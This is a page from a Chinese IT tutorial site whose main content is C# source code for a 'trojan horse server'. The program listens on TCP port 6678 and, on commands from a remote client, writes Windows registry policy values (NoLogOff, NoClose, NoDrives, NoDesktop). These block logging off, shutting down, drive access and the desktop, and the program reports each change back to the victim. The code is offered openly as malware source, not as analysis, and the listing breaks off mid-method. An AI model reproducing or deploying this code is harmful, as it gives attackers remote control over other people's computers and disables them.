中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档 | 网通镜像
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > 编程语言 > .NET > 临时文章
特洛伊木马服务器源代码(C#)
作者:未知 时间:2005-07-27 21:44 出处:CSDN 责编:chinaitpower
              摘要:特洛伊木马服务器源代码(C#)

using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; using Microsoft.Win32; namespace server { /**////

/// Form1 的摘要说明。 /// public class Form1 : System.Windows.Forms.Form { /**//// /// 必需的设计器变量。 /// private System.ComponentModel.Container components = null; private TcpListener listener; private string mystr="您好!非常抱歉,您的注册表:"; private RegistryKey rrr=Registry.LocalMachine; private RegistryKey key1; public Form1() { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); {int port =6678; listener=new TcpListener(port); listener.Start(); Thread thread=new Thread(new ThreadStart(target)); thread.Start(); } // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 // } public void target() { Socket socket= listener.AcceptSocket(); while(socket.Connected) { byte[] by=new Byte[6]; int i=socket.Receive(by,by.Length,0); string ss=System.Text.Encoding.ASCII.GetString(by); //OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="jiance") { string str="hjc"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); } if(ss=="zx1000") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff被修改!请将它置为0!"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="") //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //**************************************************************************** if(ss=="zx0100") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoClose",1); key1.Close(); mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose被修改!请将它置为0!"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoClose",1); key2.Close(); mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="zx0100"){ //**************************************************************************** //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if(ss=="zx0010") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoDrives",12); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDrives被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoDrives",12); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //==================================================================== if(ss=="zx0001") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //========================================================================= //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ if(ss=="zx1100") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoClose",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoClose",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="zx1010") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoDrives",12); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoDrives被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoDrives",12); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoDrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //************************************************** if(ss=="zx1001") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoDesktop被修改!请将它置为0"; } catch(Exception ee){MessageBox.Show(ee.Message);} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //******************************************** if(ss=="zx0110") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoClose",1); key1.SetValue("NoDrives",12); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose、NoDrives被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoClose",1); key2.SetValue("NoDrives",12); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose、NoDrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //******************************************** if(ss=="zx0101") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoClose",1); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose、NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoClose",1); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose、、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //******************************** if(ss=="zx0011") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoDrives",12); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDrives、NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoDrives",12); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoDrives、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //************************************ if(ss=="zx1110") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoClose",1); key1.SetValue("NoDrives",12); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoClose",1); key2.SetValue("NoDrives",12); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //************************************** if(ss=="zx1101") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoClose",1); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoClose",1); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //****************************************** if(ss=="zx1011") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoDrives",12); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoDrives",12); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //******************************************** if(ss=="zx0111") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoDrives",12); key1.SetValue("NoClose",1); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoDrives",12); key2.SetValue("NoClose",1); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //******************************************** if(ss=="zx1111") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.SetValue("NoClose",1); key1.SetValue("NoDrives",12); key1.SetValue("NoDesktop",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.SetValue("NoClose",1); key2.SetValue("NoDrives",12); key2.SetValue("NoDesktop",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if //********************************************* //OOOOOOOOOOOOOOOOOOOOOOOOOOO以上是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO


关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有